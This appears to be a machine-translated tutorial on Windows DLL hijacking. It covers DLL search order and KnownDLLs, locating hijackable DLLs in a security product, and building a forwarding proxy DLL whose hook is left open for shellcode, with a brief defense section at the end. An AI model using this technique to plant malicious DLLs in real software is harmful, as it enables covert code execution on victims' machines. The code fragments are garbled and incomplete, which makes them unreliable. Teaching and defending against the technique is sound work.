How to prevent DLL hijacking from principle analysis

0x01 dll introduction

In Windows system, in order to save memory and realize code reuse, Microsoft has implemented a way of sharing function library in Windows operating system. This is DLL (Dynamic Link Library), that is, dynamic link library, which contains code and data that can be used by multiple programs at the same time. Each DLL has an entry function (DLLMain). The system will call DLLMain in a specific environment. The entry function of the DLL will be called when the following events occur:

  • 1. Process loading DLL.
  • 2. Process uninstall DLL.
  • 3. After the DLL is loaded, a new thread is created.
  • 4. A thread was terminated after the DLL was loaded. In addition, each DLL file contains an exported function table, also known as the output table (which exists in the. edata section of PE). Using some PE file viewing tools such as LoadPE, you can view the symbolic name of the exported function, that is, the function name and the identification number of the function in the exported function table. There are two ways to link the application import function with the export function in the DLL file: load time dynamic linking, also known as static call, and run time dynamic linking, also known as dynamic call. Implicit linking is generally used for development and debugging, and explicit linking is the common use of LoadLibary or LoadLibraryEx functions (Note: there are many functions related to module loading) load the DLL to call the corresponding export function. When calling the LoadLibrary or LoadLibraryEx function, you can use the relative path or absolute path of the DLL,

dll path search rule

But in many cases, developers use relative paths to load DLLs. In this case, the Windows system will search some directories in a specific order to determine the full path of the DLL. For more details on the search order of dynamic link libraries, see MSDN. According to the agreement of MSDN document, the relative path of DLL is used in When calling the LoadLibrary function, the system will find the DLL file to be called from the following locations in turn.

  • 1. Program directory.
  • 2. The current directory where the DLL is loaded.
  • 3. System directory is SYSTEM32 directory.
  • 4.16-bit SYSTEM directory is the SYSTEM directory.
  • 5.Windows directory.
  • 6. Directories listed in the path environment variable In order to prevent DLL hijacking vulnerability, Microsoft added a registry attribute of SafeDllSearchMode after XP SP2. The registry path is as follows: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode When the value of SafeDllSearchMode is set to 1, that is, the safe DLL search mode is turned on, the directory order of finding DLLs is as follows:
  • 1. Program directory
  • 2. System directory is SYSTEM32 directory.
  • 3.16-bit SYSTEM directory is the SYSTEM directory.
  • 4.Windows directory.
  • 5. The current directory where the DLL is loaded.
  • 6. Directories listed in the path environment variable.

Version above win7

In order to further prevent the system DLL from being hijacked, Microsoft writes some system DLLs that are easy to be hijacked into a registry key. Then all DLL files under this key will be prohibited from calling from the directory where EXE itself is located, but can only be called from the system directory, that is, the SYSTEM32 directory. The registry path is as follows: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs Some commonly used hijacking DLLs have been added to the KnownDLLs registry key, which means using such as usp10 dll,lpk.dll,ws2_32.dll for DLL hijacking has failed. Therefore, when SafeDllSearchMode is enabled on win7 and above, the search order is as follows

  • 1. Directory where the application is located.
  • 2. System directory SYSTEM32 directory.
  • 3.16 bit system directory. There is no function to get the directory path, but it will be searched.
  • 4.Windows directory. Use the GetWindowsDirectory function to get the path to this directory.
  • 5. Current directory
  • 6. All directories in the environment variable PATH. It should be noted that the application PATH specified by the App Paths registry key is not included here. The Windows operating system determines the path of the DLL to be called by the application through the mechanisms of "DLL path search directory order" and "KnownDLLs registry key". After that, the application loads the DLL into its own memory space and executes the corresponding functions. However, Microsoft inexplicably allows users to add the "ExcludeFromKnownDlls" registry key in the above registry path, excluding some DLLs protected by the "KnownDLLs registry key" mechanism. In other words, you can hijack the DLL by adding the name of the DLL you want to hijack in the "ExcludeFromKnownDlls" registry key, but the modification needs to restart the computer to take effect.

In the whole process of loading the DLL described above, the DLL hijacking vulnerability occurs when the system installs the "DLL path search directory order" to search the DLL. No matter whether the secure dll search mode is enabled or not, the system will always first load the dll from the directory where the application (program installation directory) is located. If it is not found, search in the above order. Then, using this feature, an attacker can forge a dll with the same name. As long as the dll is not in the KnownDLLs registry key, we can hijack the dll for testing. Key value HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs The of win10 is as follows

0x02 looking for hijacking dll

There are many software that can view the dll loaded by exe process-explorer

Tinder sword

Process Monitor When using, you can set Filter and fill in Filter conditions, which can help eliminate a lot of useless information

Include the following filters:
Operation is CreateFile
Operation is LoadImage
Path contains .cpl
Path contains .dll
Path contains .drv
Path contains .exe
Path contains .ocx
Path contains .scr
Path contains .sys

Exclude the following filters:
Process Name is procmon.exe
Process Name is Procmon64.exe
Process Name is System
Operation begins with IRP_MJ_
Operation begins with FASTIO_
Result is SUCCESS
Path ends with pagefile.sys

Similar to the following figure, the dll is in the KnownDLLs registry key

0x03 hijacking test

Here's a hijacking experiment with D-shield Or use Process Explorer first

You can compare these dll files with the dll in the KnownDLLs registry key to find out the dll out of range for hijacking test Of course, there are lazy methods, batch automated testing Here, ctrl+s can directly save the obtained information text, and then extract the path information through regularization, and then put it into the batch verification tool

If it exists, the result will be output directly

If it does not exist, no will be displayed

The above shows that there are two DLLs that may be hijacked Here directly put a pop-up calculator dll and change it to winsta dll into the D shield directory, and then run D shield to pop up successfully.

0x04 advanced test

However, this method only hijacks the functions that load the computer. The original dll has many other export functions. Such direct hijacking may cause the program to fail to start normally. Therefore, generally, a "false" DLL with the same name and the same export function table will be made, and each export function will be turned to a "true" DLL. Put this "fake" DLL into the program directory. When the program calls the functions in the DLL, it will first load the "fake" DLL. In the "fake" DLL, the attacker has added malicious code, and then these malicious code will be executed. Then, the "fake" DLL will turn the DLL call process to the "true" DLL to avoid affecting the normal execution of the program. Here we make a pop-up dll to test, 1. First create a new DLL project using VS2019

2. In the generated DllMain Add under CPP


void msg() {
    MessageBox(0, L"Dll-1 load  succeed!", L"Good", 0);

3. Then, in the framework under the header file Add the following code to the H file to compile and export the dll file


#pragma once
#define WIN32_LEAN_AND_MEAN / / exclude rarely used content from the Windows header file
// Windows header file
#include <windows.h>
extern "C" __declspec(dllexport) void msg(void);

Then compile to generate Dll1 dll

Create a new C + + project and fill in the following code


#include <iostream>
#include <Windows.h>
using namespace std;
int main()
    // Define a function class DLLFUNC
    typedef void(*DLLFUNC)(void);
    DLLFUNC GetDllfunc = NULL;
    // Specifies the dll library to load dynamically
    HINSTANCE hinst = LoadLibrary(L"Dll1.dll");//DLL to load
    if (hinst != NULL) {
        // Get function location
        GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "msg");//Function name
    if (GetDllfunc != NULL) {
        //Run msg function

If you want to know the details of dll writing, you can see here Generate the solution again, and then add the previously generated Dll1 DLL into the generated MEG Exe in the same directory, run MEG exe

Success Popup Here we use the idea of forwarding hijacking dll to try it Here I use the script to generate a dll for hijacking

This is generated by default


# include "pch.h"
# define EXTERNC extern "C"
# define NAKED __declspec(naked)
# define EXPORT EXTERNC __declspec(dllexport)
# define ALSTD EXTERNC EXPORT NAKED void __stdcall
# define ALCFAST EXTERNC EXPORT NAKED void __fastcall
# define ALCDECL EXTERNC NAKED void __cdecl
              FARPROC Hijack_msg;
namespace DLLHijacker
    HMODULE m_hModule = NULL;
    DWORD m_dwReturn[17] = {0};
    inline BOOL WINAPI Load()
        TCHAR tzPath[MAX_PATH];
        lstrcpy(tzPath, TEXT("Dll1"));
        m_hModule = LoadLibrary(tzPath);
        if (m_hModule == NULL)
            return FALSE;
        return (m_hModule != NULL);
    FARPROC WINAPI GetAddress(PCSTR pszProcName)
        FARPROC fpAddress;
        CHAR szProcName[16];
        fpAddress = GetProcAddress(m_hModule, pszProcName);
        if (fpAddress == NULL)
            if (HIWORD(pszProcName) == 0)
                wsprintf((LPWSTR)szProcName, L"%d", pszProcName);
                pszProcName = szProcName;
        return fpAddress;
using namespace DLLHijacker;
VOID Hijack()   //default open a calc. / / add your own code
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
    switch (ul_reason_for_call)
            Hijack_msg = GetAddress("msg");
    return TRUE;

Before compiling and generating a new DLL, pay attention to changing Dll1 to dll2 in the line of code dll


lstrcpy(tzPath, TEXT("Dll2.dll"));

Then add a pop-up window or execute shellcode on the line of code


VOID Hijack()   //default open a calc.
    MessageBoxW(NULL, L"DLL Hijack! by DLLHijacker", L":)", 0);

Then compile and generate Then add the Dll1 we generated before DLL changed to dll2 DLL, two DLL and MEG Exe in the same directory

Run MEG Exe should have two pop-up windows at this time

You can see that you hijack the pop-up window added by the DLL first, and then pop up the original pop-up window of the DLL

0x05 defense

Universal immunization programme: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs] define a "known DLL name" under this registry key, then all DLL files under this key will be prohibited from calling from the EXE directory, but can only be called from the system directory, that is, system32 directory. According to this, you can write a simple DLL hijacking immune device Or you can detect MD5 and size when loading dll to defend

Copyright statement: the content comes from the Internet, and the copyright belongs to the creator. Unless it cannot be confirmed, the author and source will be indicated. In case of infringement, please inform us, and we will delete it immediately and apologize!

Added by twistisking on Wed, 22 Dec 2021 15:20:10 +0200